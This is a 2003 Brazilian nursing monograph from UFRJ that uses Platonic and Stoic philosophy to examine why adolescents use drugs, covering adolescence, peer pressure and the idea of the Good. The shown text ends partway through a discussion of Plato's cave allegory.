USO E ABUSO DE DROGAS PELO JOVEM: UM BEM OU UM MAL?

USO E ABUSO DE DROGAS PELO JOVEM: UM BEM OU UM MAL?

Breno de Magalhães Bastos

USO E ABUSO DE DROGAS PELO JOVEM: UM BEM OU UM MAL?

– Rio de Janeiro –

2003

UNIVERSIDADE FEDERAL DO RIO DE
JANEIRO

CENTRO DE CIÊNCIAS DA SAÚDE

ESCOLA DE ENFERMAGEM ANNA NERY

DEPARTAMENTO DE ENFERMAGEM EM SAÚDE PÚBLICA

NÚCLEO DE PESQUISA  EM ENFERMAGEM EM SAÚDE COLETIVA

Monografia apresentada à Escola de
Enfermagem Anna Nery/UFRJ, como requisito parcial para a obtenção de grau de
enfermeiro.

 

Orientadoras: Prof. Dr. Maria Tereza Coimbra de
Carvalho

Prof. MS Carla Cristina Perozzo

Prof. Dr. Marilurde Donato

–       
Rio de Janeiro –

2003

Às pessoas do Tibet, que vivem em
exílio na Índia, por sua história.

AGRADECIMENTOS

Agradeço a
Deus, o Grande Artesão, por ter me guiado num trabalho pertinente ao Bem;

Agradeço a
São Francisco, o Pobrezinho de Assis,  que, através de sua loucura, resolveu
viver entre leprosos e, assim, serviu de fonte permanente de inspiração para
minha própria vida;

Agradeço a
Santa Clara, a Dama Pobre, que sem temer ou hesitar quanto ao seu futuro,
distanciou-se do mundo para nele poder viver melhor;

Agradeço a
minha mãe Teresa por me propiciar condições de cursar a Universidade;

Agradeço a
Professora Doutora Maria Tereza Coimbra de Carvalho que, solicitamente, muito
me ajudou na confecção deste estudo;

Agradeço a
Professora Carla Cristina Perozzo e Germanus Strazzeri por terem me mostrado
que o homem pode sair da caverna e por terem me guiado no pensamento estóico;

Agradeço a
meu amigo Felipe Ramos Pavlidis por, em sua  paciência, muitas vezes me
orientar sobre o que eu poderia fazer;

 Agradeço a
meu amigo Claudio Arnoldi Carvalho, por ter me ajudado no percurso da
Universidade, no CEPUAD e em minha própria vida.

       "Esquecerás tudo em breve,
brevemente todos te esquecerão."

–       
Marcus Aurélius

RESUMO

O
presente trabalho explana, segundo uma abordagem platônica e estóica, o que
motiva o jovem para o consumo de drogas.

O jovem
busca assim como qualquer pessoa a plenitude. E essa plenitude que deve ser
sempre permeada pela virtude, representa um grande prazer e, conseqüentemente,
um grande Bem. Entretanto, a busca pelo prazer e pelo Bem através droga é pouco
esclarecida porque sempre está diretamente relacionada com a dor. O prazer
narcótico não existe, uma vez que está sempre submetido ao devir.

Entretanto,
existe um prazer e um Bem muito mais substancial que o narcótico ou qualquer
outro que esteja submetido ao devir. Esse é o prazer da virtude. E esse prazer
é aquele capaz de gerar a verdadeira felicidade.

Mas como
desfrutar de um gozo tão pleno? Além da virtude, outros fatores  também se
fazem necessários. Um deles é a apatia (indiferença). Apenas o homem
indiferente ao inevitável é capaz de usufruir desse prazer/bem. Por outro lado,
todos aqueles que se tornam parciais frente ao inevitável têm necessariamente a
dor como conseqüência. Alguns, infelizmente, em sua ânsia de plenitude buscam a
droga para suportar aquilo contra que sua ação nada pode fazer.

A apatia gera imperturbabilidade
da alma – ataraxia – sem a qual essa felicidade também não se efetiva. Apenas é
feliz e desfruta de um Bem aquele que se torna imperturbável.

A
auto-suficiência também é fundamental. Aquele que se droga busca a
auto-suficiência. E essa auto-suficiência também é essencial para uma vida
virtuosa e plena. A diferença consiste no fato de que com o uso da droga esse
Bem nunca será atingido.

Temendo o
devir, o jovem também teme a natureza e o tempo. Esses dois últimos aliados à
auto-suficiência e à ataraxia são fundamentais para todo aquele que busca a
felicidade e evita a dor, em toda e qualquer dimensão.

O
verdadeiro bem é a expressão máxima do cosmopolitismo. O homem da natureza é
aquele apático frente aos acontecimentos. É aquele que não se deixa perturbar
por fatores externos a si mesmo e é, por isso mesmo, auto-suficiente e
virtuoso.  E nisso consiste o Bem…

SUMÁRIO

                                                                                                      

 

Capítulo I

     Considerações Iniciais
……………………………………………………………….            

Capítulo II

     Referencial Teórico
…………………………………………………………………..         
    

Capítulo III

     Fundamentação Metodológica
…………………………………………………….   

Capítulo IV

     Análise Documental
…………………………………………………………………..         
 

Capítulo V

      Considerações Finais
………………………………………………………………….         

Bibliografia………………………………………………………………………………………..    
   

Referência
Bibliográfica……………………………………………………………………..         

CAPÍTULO 1

CONSIDERAÇÕES
INICIAIS

 

Dois
foram os fatores que me motivaram à realização deste trabalho. O primeiro, de
caráter técnico-científico, foi uma conseqüência direta de minha atuação como
acadêmico de enfermagem no Centro de Estudo e Prevenção ao Uso e   Abuso de
Drogas – CEPUAD -, localizado no Hospital Escola São Francisco de Assis – HESFA
-, no qual colaboro com consultas de Enfermagem.

O CEPUAD
é um programa desenvolvido pela Universidade Federal do Rio de Janeiro em
parceria com a Primeira Vara da Infância e Juventude da cidade do Rio de
Janeiro. Sua função é subsidiar a reabilitação e a prevenção ao uso e abuso de
drogas de adolescentes, encaminhados ou não, pelo Juizado de Menores.

Embora
novo – o CEPUAD foi fundado em agosto de 2001 -, o programa não se caracteriza
como um grupo de auto-ajuda, a exemplo dos Narcóticos Anônimos (NA), entre
outras. Sua terapêutica é efetivada por uma equipe transdisciplinar, possuindo
médicos, enfermeiros, psicólogos, nutricionistas, assistentes sociais e
acadêmicos dessas e outras áreas.

O segundo
fator que me motivou para a realização deste trabalho nasce de experiências próprias
vividas em conventos franciscanos nas cidades do Rio de Janeiro e Petrópolis.
Tais experiências, profundamente marcantes para mim, e que me convenceram a um
dia fazer seminário entre os Frades Menores, fizeram-me despertar para um
ponto: o sofrimento humano.

Utilizei-me,
assim, da filosofia como abordagem entendendo que seria um agente facilitador
para tentar compreender o homem, já que este  tem, como principal preocupação o
próprio homem. Assim, decidi-me trabalhar com o Platonismo e o Estoicismo, em
virtude de suas próprias características e que tanto têm a ensinar ao homem e
em especial a esta clientela de adolescentes o exercício de bastar-se e de
resignar-se frente às intempéries da vida.

Como
este trabalho é permeado pelas atividades desenvolvidas no CEPUAD, nada mais
justo do que começar a dissertar sobre o adolescente e, em seguida, sobre a
dependência química. Na análise documental é que iniciamos em si a discussão
com os autores: Platão, Sêneca e Marco Aurélio.

Tentarei
expor como o Bem se coloca como algo a ser almejado e como apatia, ataraxia,
e autarquia se relacionam entre si com o fim de educar o desejo,
proporcionando prazer e felicidade e a cessação da dor. Nesse ponto, o homem é
o próprio sujeito do estudo, com sua carência, sua fragilidade, seu sofrimento.

O objeto
de estudo é, portanto:

              A
Busca do Bem Através do Uso e Abuso de Drogas

Como questões
norteadoras, temos:

     –
como a droga se torna um bem para o dependente?

     –
porque a droga se coloca como algo a ser desejado?

Os
objetivos são:

     –
explicar como o bem se apresenta como uma questão fundamental para a
toxicomania e para a filosofia;

     –
discutir de que forma a incompletude é capaz de motivar o jovem para o uso de
drogas;

     –
inserir a filosofia como uma medida terapêutica no que se refere ao uso e abuso
de drogas.

A
justificativa de tal estudo é pautada na tentativa de se compreender o
adolescente usuário de drogas, à luz dos antigos pensadores, podendo
contribuir, talvez num futuro próximo, para um novo modelo assistencial para
tais jovens.

CAPÍTULO II

REFERENCIAL TEÓRICO

O ADOLESCENTE

 

 

 

                    O primeiro problema
pelo qual nos deparamos ao tentar discutir sobre o adolescente consiste
justamente em delimitar quando a  adolescência começa e quando termina. Assim,
apesar das diferentes conceituações que pudermos encontrar, encontramos uma
inclinação natural dos autores a contextualizar o jovem num processo de
transformação obrigatória.

          WHALEY
& WONG (1985, p. 348) dizem que o início ocorre dos 11 a 12 anos e término entre 18 e 20 anos. Não pensando da mesma forma, ALBERASTURY & KNOBEL 
(1992, p. 89) ressaltam que a  adolescência ocorre entre 12 e 21 para as
meninas, e entre 14 e 21 para os rapazes. Do ponto de vista legal, o Estatuto
da Criança e do Adolescente (2000, p. 7) ressalta que  adolescentes são todos
aqueles que possuem entre 12 e 18 anos de idade, podendo, em casos
excepcionais, essa margem de idade ser postergada a jovens de 18 a 21 anos de idade.

          Seja
como for, a  adolescência é inaugurada com o advento de um fenômeno bastante
evidenciável: a puberdade. O desenvolvimento de caracteres sexuais primários e
secundários e o notável crescimento somático indicam que o corpo daquele que,
outrora, fora uma criança, gradativamente se torna um adulto, graças ao aumento
da gonadotrofina, dos esteróides sexuais e do hormônio do crescimento.

          Em
meninos, o processo principia pelo aumento do epidídimo, das vesículas
seminais, da próstata e dos testículos, indo desde a modificação da
vascularização da pele do escroto, até o crescimento do pênis, o surgimento de
pêlos pubianos à volta da base do pênis e de pêlos na face, tórax, abdome e
membros, além do agravamento da voz e, principalmente, com a semenarca.

          Nas
meninas, prossegue um crescente aumento dos ovários. O útero, as tubas e os
ovários vão tomando gradativamente o seu lugar na parte inferior da pelve, à
medida que a mesma se alarga. Os seios tornam-se paulatinamente protrusos. Os
pequenos lábios aumentam e a mucosa vaginal se espessa, surgindo secreções
vaginais. Os pêlos que se distribuem inicialmente pelos grandes lábios, vão-se
espalhando pelo púbis. O ápice do processo é  evidenciável pela menarca.

Além de
fatores puramente biológicos, outros fatores igualmente apreciáveis são notados
na adolescência. MAAKAROUN  (1991, p. 4) diz que:

"O
advento das modificações corporais da puberdade leva o indivíduo a perceber
que, inexoravelmente, vai tornando-se um adulto."

          Do
ponto de  vista psicológico, destacamos a importância do estabelecimento de uma
nova relação com os pais e com o mundo, para que ele possa ser considerado um
adulto.

          A
auto-imagem construída ao longo dos anos da infância tem se reformulado a
partir de novos esquemas corporais. As dificuldades de se conviver com um corpo
novo, que se modifica a cada dia, mobilizam ansiedade e depressão, porque,
nesse desabrochar de personalidade, o indivíduo nega o próprio corpo ou o sente
como algo que está sendo destruído.

          O
adolescente, por outro lado, vive num mundo que, para ele é dicotomizado. Ao
mesmo tempo em que nega o evidente, o mesmo se lhe mostra como um grande
atrativo, considerando sua natural curiosidade pelo novo. Ao mesmo tempo em que
detesta todas as modificações a que está sendo submetido, ama todas as novas
portas que se abrem à sua frente, diante de uma perspectiva de liberdade e de
auto-afirmação.

          Ao
mesmo tempo em que briga, questiona, reclama privilégios e direitos, acha as
responsabilidades correspondentes muito onerosas, porque lhe parecem marcos de
sua posição subordinada e são sentidas como opressivas e degradantes, uma vez
que são impostas pelos pais.

          Caem,
em outras palavras, numa grande cilada: se, por um lado, querem continuar como
crianças, não assumindo as responsabilidades que a  adolescência lhe
proporciona, por outro, tentam de todas as formas conquistar sua independência,
com atitudes e frases do tipo: "eu posso, eu vou".

          Algo
que mais cedo ou mais tarde  sempre acontece é o conflito com ao pais.
MAAKAROUN  (1991, p. 5) diz que:

"…
para os adolescentes, enfrentar os pais é enfrentar o mundo (…) Agora, os
momentos de refeição se transformam em guerrilha, quando os pais cobram dos
filhos a criança perdida e os filhos destronam os ídolos e os heróis da
infância."

          Conflitos
como esses não são característicos da sociedade moderna atual. Ao contrário,
são mais antigos que se possa imaginar. CAVALCANTE (1997, p.43) ressalta que:

"foram
encontradas inscrições em túmulos egípcios, dos faraós, dizendo que o fim do
mundo estava próximo porque os jovens estavam perdidos e sem rumo."

          Idéias
revolucionárias e/ou políticas sempre estão na mente dos adolescentes, mesmo
que de forma implícita. Suas atitudes são conduzidas, muitas vezes, frente a
movimentos estudantis reivindicatórios, diante da frustração de se verem
mudando sem ter sido consultados e de, impotentes, assistirem suas próprias
transformações. Uma vez que não podem intervir na revolução do próprio corpo,
pelo menos anseiam pela possibilidade ideal de reformar  o mundo externo.

          Observa-se
o predomínio de uma intelectualização onipotente, que é expressa numa postura
provocadora do adolescente, onde ele é o "dono da  verdade".

          Entretanto,
os discursos e especulações intelectuais em que os adolescentes se deliciem não
constituem tentativas concretas de se resolver um dado problema, mas sim pelo
simples prazer de criticar dizendo que a forma previamente elaborada não é a
real.

          Muitos
jovens recusam esquemas convencionais de vida e afirmam, às vezes com
violência, a vontade de serem diferentes. Também não é incomum que pais pensem
que seus filhos, por inclinações naturais de movimentos de contra cultura, e
ainda à medida que são cabeludos, usam tatuagens ou brincos, se gostam de ouvir
música alta, se gosta de se isolar no quarto, se dorme muito ou se usa óculos
escuros, são marginais e estão se drogando. CAVALCANTE (1997, p. 44) contrapõe
todas essas idéias ressaltando que:

"… o jovem, curiosamente, muitas vezes precisa de
tudo isso, justamente e simplesmente porque é jovem."

          Uma
situação pelo qual muitos pais não sabem como se portar é o amadurecimento das
funções sexuais de seus filhos. Mesmo pais que pretendem ser esclarecidos e
informados sobre o assunto, se surpreendem com as manifestações da sexualidade
dos filhos, perguntando-se como proceder – o que permitir, como reprimir,
quando orientar? É o que acontece com freqüência diante da masturbação, das
primeiras praticas sexuais, diante de perguntas que se revelam desafiadoras.

          O
desejo do adolescente não consiste apenas em saber como se da a reprodução
humana, mas, principalmente, em conhecer tudo aquilo que, outrora, somente
conhecia nos livros e nas inúmeras conversas com outros jovens.

          Percebe-se
um período em que meninos e meninas passarão de um convívio predominantemente
com colegas do mesmo sexo para um gradual processo de socialização.
Simultaneamente, o grupo fechado dará lugar a uma progressiva individualização,
numa realidade que culminara com a realidade de casais e novas unidades
familiares.

O sexo para
o adolescente está quase sempre associado a relações afetivas. Sua primeira
relação sexual – a chamada sexarca – costuma acontecer sem planejamento prévio,
nas férias, feriados ou fins de semana. O ambiente escolhido geralmente é sua
própria casa, quando os pais estão ausentes. O significado desta primeira
relação sexual difere entre o sexo feminino e o  masculino.  Enquanto as moças
querem comprovar seu poder de sedução e correspondem mais aos estímulos
emocionais, os rapazes querem afirmar sua potência, e respondem mais aos
estímulos corporais.

Depois da
fase do despertar sexual começa uma tumultuada fase de encontros e
desencontros, namoros e novas fases de experimentações sexuais e sociais. As
paixões são intensas – com frequentes juras de amor eterno -, rápidas e
descompromissadas, onde o prazer, a conquista e a sedução merecem agora
importante destaque em suas atividades de lazer, e esse se transforma no
principal assunto nas conversas de fim de semana e burburinhos dos intervalos
escolares.

Um tema
que impressiona muito os adolescentes é a homossexualidade. Deve-se notar que
os primeiros grupos de amizade tendem a ser do mesmo sexo, sendo comum a
vivência de contextos corporais íntimas – na adolescência, experiências
homossexuais acontecem com 50% dos meninos e 30% nas meninas. Por necessidades
instintivas e por medo de relacionar-se com indivíduos do sexo oposto,
ocasionalmente, pode haver masturbação mútua ou mesmo o coito propriamente
dito.

Bastante
comum é o relacionamento homossexual numa etapa mais precoce da adolescência, o
que obviamente não denota de modo algum uma definitiva tendência às relações
com indivíduos do mesmo sexo na vida adulta, o que não significa também que
todo jovem tenha, obrigatoriamente, que passar por tais experiências.

Numa
palavra, antes da puberdade, a criança não percebia a si mesma como um ser
vivente, estando totalmente voltada para fora, para impressões vindas do mundo
exterior. Na adolescência, ela toma consciência de si mesma, toma consciência
de inexprimível e passa a sofrer pela vivência da grande solidão, tentando
fazer valer o que estava escrito no templo de Apolo Delfo: conhece-te a ti
mesmo. E, finalmente, diz JOUBREL( 1992, p.236 ):

"O
homem quer ser maior que Deus, esquecendo-se de que ele não conhece o próprio
homem."

USO E ABUSO DE
DROGAS

Vimos até
o momento como se dá o complicado processo de adolescer, bem como procuramos
discutir os inúmeros fatores inerentes a esta etapa da vida do homem. Vejamos
agora como se dá o uso de drogas pelos jovens.

Desde há
muito tempo – e os homens que viviam na caverna que o digam – diversos tipos de
plantas eram utilizadas para várias coisas diferentes. A cada nova planta que
utilizavam, verificavam efeitos distintos, podendo ser depressoras,
estimulantes ou alucinógenas. Poderia, por exemplo, utilizar plantas
depressoras ou alucinógenas com o intuito de suavizar dores; plantas com
efeitos estimulantes poderiam ser utilizadas para potencializar a resistência
física, o que seria muito útil numa caça, ou ainda, para atravessar regiões
muito distantes à procura de água.

Dessa
forma, podemos dizer que esses homens apenas usavam e não abusavam de drogas,
uma vez que a experiência lhe mostrou que o uso exagerado de tais extratos
poderia deixá-lo impotente perante uma  invasão de tribos inimigas ou animais
selvagens. O consumo excessivo de plantas de efeitos estimulantes ou
alucinógenos poderia gastar tanto suas reservas de energia a tal ponto de
deixá-lo à mercê de ambientes hostis.

Algumas
sociedades utilizavam/utilizam plantas alucinógenas em seus rituais e
cerimônias religiosas, embora somente alguns indivíduos tenham permissão de
usar tais substâncias: são aqueles já iniciados na vida religiosa da tribo, os
pajés.

Quem
também não se lembra daqueles homens que vivem em meio à floresta amazônica e
cuja cultura e religião se baseiam no culto de plantas psicoativas, comandados
por um líder espiritual chamado Sebastião Mota? Embora desconhecido por algumas
pessoas, o Santo Daime tem sido considerado o caminho correto para alguns, em
termos de ascensão espiritual.

Se, nas
situações supracitadas, fazia-se uso de drogas apenas em algumas situações, o
mesmo não se dá quando falamos de sociedade moderna. Não há controle social
oficialmente e nossos jovens – e não somente nossos jovens – têm consumido
drogas em proporções cada vez maiores, por  quaisquer motivos que sejam, embora
o estatuto da criança e do adolescente (2000, pág. 25) saliente em seu artigo
81, incisos II e III, que:

"’é
proibido a venda à crianças ou adolescentes de bebidas alcóolicas e produtos
cujo componentes possam causar dependência física ou psíquica, ainda que por 
utilização indevida."

Nenhum
jovem consome drogas por uma causa única. As fontes de consultas bibliográficas
são unânimes ao considerar a inter-relação de três situações que favorecem o
indivíduo jovem a utilizar entorpecentes, sendo-os: o ambiente em que vivem os
adolescentes; a droga que é usada; e o indivíduo que a usa e/ou abusa.

Quando o
assunto é dependência química, costuma-se comentar sobre o "mal das
drogas",  ou os "problemas das drogas". O mal e o problema
consistem em se achar que as drogas possuem males ou problemas. Quem os possui
é o homem. Em termos ontológicos, a droga apenas é o que é, não podendo a ela ser
atribuídos valores e qualificações – como o mal e o problema -, uma vez que os
mesmos apenas podem existir frente a natureza humana. Assim sendo, o uso  das
drogas é conseqüência de uma séria de fatores sociais, familiares e pessoais
não resolvidos.

COELHO
NETO (1962) diz que:

"O
homem, por curiosidade, desceria ao fundo do inferno se lhe descobrisse o
caminho, ainda que ele fosse assoalhado por piche ardente."

De
fato, a vontade de conhecer o que não se conhece é tão forte no homem que, por
ele – o conhecimento – o homem foi até expulso do paraíso, conforme relata 
Gênesis.

A
curiosidade pela droga se dá a partir do momento em que o jovem se depara
quotidianamente com o assunto. Os pais geralmente tratam desse assunto com
verdadeiro tabu, ou então, proibindo, amedrontando. Os meios de
comunicação falam a todo instante da ação do tráfico e da ação policial. Os
colegas, por outro lado, falam da própria experiência, do "barato",
da "curtição" ou mesmo do "bode" (experiência ruim). É
natural que o jovem, portanto, diante de tantos dados se pergunte e se cobre
por igual experiência.

BUCHER
(1989, pág. 64) afirma existirem outros fatores contribuintes para a
experimentação, como:

"para
ser melhor aceito em determinados grupos, pelo desejo de viver experiências
diferentes, sair da rotina, etc. (…) O importante em tudo isso é nos atermos
ao ao fato de a maioria das pessoas que experimentam drogas usarem-na uma ou
poucas vezes e pararem. E como se, não havendo mais curiosidade nem sedução do
novo e do segredo, não existisse mais necessidade de recorrer a ela."

A
curiosidade sobre a droga e seus efeitos exerce forte atração para quem quer
conhecer o mundo e passar por emoções fortes. Qualquer coisa nova, diferente,
desperta a curiosidade do jovem – principalmente  se o objeto da curiosidade
for proibido e quando se conhece alguém que a usa.

Quanto
mais se adentra na adolescência, maior é a influência do grupo de amigos na
vida do jovem. O adolescente necessita de aprovação, reconhecimento e 
aceitação deles. Num grupo, portar uma droga pode conferir status. Seja
por ser diferente, por mostrar uma rebeldia contra valores sociais, moralistas
ou familiares, portar um cigarro de maconha ou uma revista pornográfica, em
geral, faz o jovem crescer perante seus amigos.

Quando o
grupo adota algum valor ou atitude, é estipulado que todos os seus membros
devem seguir à risca o que foi determinado. O adolescente demonstra grande
preocupação em não interrogar aquele que assume o papel de "chefe" do
grupo acerca da natureza daquilo a que acreditam. Os apelidos como
"maricas, cagão, bundão, careta" marcam muito o adolescente e podem
minar sua atitude de resistir aos desejos do grupo para tomar drogas, entre
outras coisas.

A
personalidade do jovem matura em função de suas relações familiares, escolares
e afetivas. Tal maturação lhe confere certo grau de segurança frente às
adversidades da vida. Opostamente, a imaturidade lhe confere uma indesejável
insegurança e dificuldade em lidar com os estímulos da sociedade contemporânea.
É necessário segurança para dizer NÃO a um grupo de amigos ou conhecidos que
oferece gratuitamente certa droga. MAAKAROUN  (1991, p. 80) ressalta que:

"Apenas
uma personalidade com certo grau de estrutura resiste a pressão."

De
fato, dizer SIM à droga e ao grupo requer muito mais comodidade, haja vista que
evita as pressões, as gozações e apelidos.

A droga
produz, embora egoísta e narcísicamente, uma sensação de prazer e bem-estar
solitário. O grupo fornece apenas uma idéia de segurança no ato. O que se
espera é que essa sensação seja imediata, desfazendo quaisquer desconfortos
físicos e psíquicos que o usuário pensa existir. Dar prazer e eliminar o
desprazer – ou a dor – é o que faz a droga. Assim ela passa a ocupar um espaço
dentro de um jovem ainda em desenvolvimento, culminando em uma dependência. Com
isso, diminui ainda mais, a capacidade do jovem de tolerar frustrações.

Usar
drogas como revolta  a satisfações políticas ou familiares é um consenso geral
entre os usuários. Nessa ânsia por liberdade e mudança, entretanto, existem um
paradoxo, pois, ao se protestar e rebelar contra isso, pode-se ficar dependente
e submisso às drogas. Troca-se a submissão à família e à sociedade pela
submissão à droga.

Não
entrando no mérito da questão no que se refere à liberdade pelo uso de drogas –
isso será explanado posteriormente -, o jovem busca alimentar sonhos e
fantasias que, no mundo em que vive, não consegue encontrar. A rotina, a
insatisfação do mundo adulto, ameaças de atentados terroristas, a corrida
armamentista, o consumismo exagerado, a desvalorização da moeda corrente, a
fome, a doença, a morte, tudo isso pode constituir para o adolescente um
manancial de coisas desprovidas de prazer. Pode ser até que um jovem diga
"eu não quero, eu não escolhi este mundo." Diante de tanta dor e
insatisfação, a única forma de sobreviver em meio à guerra parece ser usar uma
determinada droga que,  pelo menos momentaneamente, o fará esquecer o que
existe ao seu redor.

CAPÍTULO 3

FUNDAMENTAÇÃO
METODOLÓGICA

Sendo
este trabalho fundamentalmente um estudo bibliográfico, possui natureza
qualitativa. Para tanto, apoiei-me na discussão dialética.

Quanto à
bibliografia, foram consultadas fontes primárias relacionadas aos adolescentes
e às drogas. Para o Pórtico[1] e para
o Platonismo utilizei fontes primárias e secundárias.

No
desenvolver da discussão, os seguintes pontos-chave serão abordados:

– drogas                                     –
felicidade

– bem                                        –
ataraxia

– virtude                                     –
autarquia


incompletude

CAPÍTULO 4

ANÁLISE DOCUMENTAL

                                                                    …  
Potest beatus dici qui nec cupit

                                                                    
nec timet beneficio rationis …

 

“…
Podes considerar feliz quem, graças à  razão,  não   alimenta   desejos nem
temores …"      

                        
(SÊNECA, 1991, p. 30)

Tal
sentença, austera, talvez, mas com sentido bem conciso, pode parecer estranho
ao homem que, guloso, ávido, impaciente, quer no mínimo a paz, se possível a felicidade,
com toda a certeza o bem-estar.

Pode-se
adquirir flores, livros ou copos de Veneza, ou talvez, no raio de ação de
nossos sentidos, automóveis Jaguar, roupas, vinhos de Bordeaux, como em  nossas
sociedades ditas "de consumo". O corpo nos faz sentir nossos bens,
mas também os nossos males.

A
filosofia ocidental, embora fundamentalmente ascética, nos repetiu uma lição de
caráter antropológico: o homem deseja. E mais, esse desejo é insaciável. O
desejo – de sexo, de bebida, de comida, de dinheiro, de prazer – é tal que se
submeter a ele é mergulhar no abismo, entregar-se a um tirano sem meias
medidas. Em busca de uma sensação de plenitude, procuramos poupar, armazenar,
ingerir. E, entretanto, permanecemos vazios. Nunca satisfeitos, porque, por mais
que incorporemos, jamais julgamos suficiente o que incorporamos. O vazio é um
estado estável, desenvolvido por um movimento de encher-sem-nunca-encher, que
apenas a plenitude é capaz de curar. Muito apropriadamente, numa linguagem
tecida de imagens, Platão representa a parte desejante de nossa alma como um
vaso furado, razão pelo qual nunca nos saciamos.

Através
de seus meios culturais, quer o saiba quer não, todo consumidor de drogas dá
uma resposta prática à questão humana do bem-estar. Por isso, deve ser
compreendido como alguém que executa um ato malcalculado: anular as
inquietações, negociar com o incompleto, a dificuldade, o vazio, o sofrimento.
Mas como resistir ao remédio que materializa a tranqüilidade de espírito? O
prazer narcótico é fascinante porque é duplamente negativo: para além da
sensação da dor física, ele é a sedação do mal de viver. Toda droga é
paradoxalmente anestésica, mesmo as euforizantes.

Antes de
continuar com a explanação, seria-nos imperioso descrever sobre um dos diálogos
platônicos que, ao nosso ver, poderia nos ajudar muito. Trata-se do Banquete
ou, em grego, Sympósion.

O jovem
Agatão teve premiada a sua tragédia. Para festejar o prêmio, amigos são
convidados à sua casa para um banquete – festa onde os gregos homens reuniam-se
para beber, comer, ouvir música, dançar, conversar e, além de tudo isso, o mais
importante: filosofar.  E o tema do dia era o amor.

Chegado o
momento de Sócrates discursar, o mesmo se propõe a dizer a verdade  sobre Eros,
o amor. A fala de Sócrates modifica assim, o sentido e a finalidade do discurso
sobre o amor. Não será seu elogio, mas aquilo que o amor necessita para que
seja o amor: sua essência.

Sócrates
toma a figura de uma mulher experiente nas coisas do amor – Diotima. Muito
jovem, é ele que a questiona sobre o amor, elaborando uma teoria que pode ser
resumida da seguinte forma.     

Eros,
afirma Diotima, não é um deus – não é belo nem bom -, nem é mortal – não é feio
nem mau. Nem imortal nem mortal, Eros é um daimon[2],
intermediário entre deuses e homens, criador de laços entre eles. Qual sua
origem?

Quando
nasceu Afrodite, a bela, todos os deuses foram convidados para o festim,
esquecendo-se de convidar Penia (a penúria). Escondida do lado de fora, ao
término da festa, Penia esgueirou-se pelos jardins para comer os restos. Viu,
adormecido pelo vinho, Póros (o recurso), filho de Métis. Desejou um filho
dele. Deitou-se ao seu lado e concebeu Eros. Por haver sido concebido no dia do
nascimento de Afrodite, a bela, Eros ama o belo. Triste é seu destino: como sua
mãe, vive maltrapilho, sem teto, sem leito, dormindo pelas ruas e nos umbrais
das portas, sempre carente, faminto; como seu pai, é audaz, engenhoso, astuto,
grande caçador que não larga a presa. Maquinador, hábil feiticeiro e sofista,
deseja tudo o que seja belo e aspira a tudo conhecer. "No mesmo dia,
floresce e vive, morre e renasce, nunca opulento, nem completamente
desvalido", diz Diotima.

Não sendo
deus nem tolo, ama a sabedoria. Se fosse um deus, não poderia amá-la, pois não
se ama o que já se possui;  se fosse tolo, julgar-se-ia perfeito e completo e
não poderia desejar aquilo cuja falta não pode notar. Eros é o desejo: carência
em busca de plenitude. Eros ama. O que ama o amor? O que dura, o perene, o
imortal. Ama o bem, pois amar é desejar que o bem nos pertença para sempre.

O amor
dos corpos concebe e engendra a imagem da imortalidade: os filhos também
mortais. O amor das almas belas concebe e engendra o primeiro acesso à
verdadeira imortalidade, as virtudes. Os corpos  mortais geram filhos mortais.
As almas imortais geram virtudes imortais.

Que
deseja o desejo? Que ama o amor? A beleza imperecível, seu supremo e único Bem.
Que é desejar-amar o Belo-Bem? Desejar possuí-lo, participando de sua
bondade-beleza. Desejar é unir-se, completar-se, fazer com que tudo dure, tudo
permaneça, negar a mutabilidade das coisas, negar o fluxo heraclitiano, negar o
devir[3].

Drogar-se
significa, antes de tudo, temer a mudança. Em sua carência, os adolescentes – e
não apenas eles – amam os narcóticos. O querem – e querer é desejar -,
estabelecem uma relação de philia, de amizade, de cumplicidade, de
união.  Unir-se não com o homem-duplo, a mulher-dupla ou ao homem-mulher
outrora divididos[4], mas
com a droga. Drogar-se é unir-se, é completar-se é antes de tudo, fazer cumprir
o legado que Penia determinou aos mortais através de seu filho Eros: saciar-se
sempre. Drogar-se é, em última análise, consolidar-se ao Bem.

Chegamos
agora num ponto que merece profunda reflexão. Que é, afinal, o Bem? Qual a
relação exata entre o Bem e o narcótico? Para tanto, vejamos antes o que dizem
os estóicos. SÊNECA (1991, p. 35) ressalta a importância do bem à medida que
diz que o mesmo reside no:

"…juízo
correto e nos hábitos morais da mente reta, que completado seu curso e fixado
seus limites, sente-se feliz e de nada necessita."

O Bem é
alcançado à medida que fixamos limites às ações, que são sempre tendenciosas e
parciais. Esses limites, por outro lado, norteiam nossas ações, as fazem
compreender que não necessitam de nada e que podem por isso mesmo, alcançar a
plenitude de forma cada vez mais rápida. O hábitos morais da mente reta fazem
do homem uma criatura incrivelmente rica, porque, em virtude de não necessitar
de nada, por mais que possamos subtrair coisas desse homem, ele jamais se
tornará pobre. Desse modo, para o Pórtico o Bem está intimamente ligado à
virtude, sem a qual não se obtém um juízo correto. Ora, como aquele que não tem
fixado seus limites alcançaria a felicidade, visto como o resultado final do
Bem? A eudaimonia[5]
é uma conseqüência direta daquele que não tem necessidades, daquele que se
basta a si mesmo, daquele que, como Sócrates, anda pelos mercados meditando o
quanto feliz é por não necessitar de nada. Em outras palavras, feliz é aquele
que completa seu curso e alcança a autarquia[6] e a
ataraxia[7].

De fato,
é difícil fazer uma distinção precisa entre o soberano Bem e as virtudes; a
virtude e o Bem são, no fundo, uma e a mesma coisa; não se é em primeiro lugar
virtuoso para esperar o Bem em seguida. A virtude é a presença do Bem numa
pessoa, é a perfeição em comum com o Todo. Tal como a ripa ou é torta ou é
direita, e não mais ou menos direita, do mesmo modo não há grau na virtude, ou
ela existe ou não existe e não há meio termo entre virtude e vício.

"Conhece-te
a ti mesmo", talvez seja a sentença que mais nos faz lembrar de Sócrates e
que teve importância fundamental em todos os seus atos. A todo instante,
Sócrates interroga, segundo nos conta Platão, os cidadãos da pólis, como 
escravos, prostitutas e sofistas, a respeito da idoneidade do que pensavam e
faziam. À medida que os discursos começavam, seus interlocutores descobriam que
não sabiam exatamente aquilo que achavam que sabiam. Eram ignorantes. E o que
era pior, eram movidos pela ignorância.

No livro
A República, Platão explica a Alegoria da Caverna. Nele Sócrates filosofa com
Glauco e o faz pensar do seguinte modo: imaginemos, diz Sócrates, uma caverna
subterrânea separada do mundo externo por um alto muro. Entre este e o chão da
caverna há uma fresta por onde passa alguma luz exterior, deixando a caverna na
obscuridade quase completa. Desde seu nascimento, geração após geração, seres
humanos ali estão acorrentados, sem poder mover a cabeça na direção da entrada,
nem locomover-se, forçados a olhar apenas a parede do fundo, vivendo sem nunca
ter visto o mundo exterior nem a luz do sol, sem jamais ter efetivamente visto
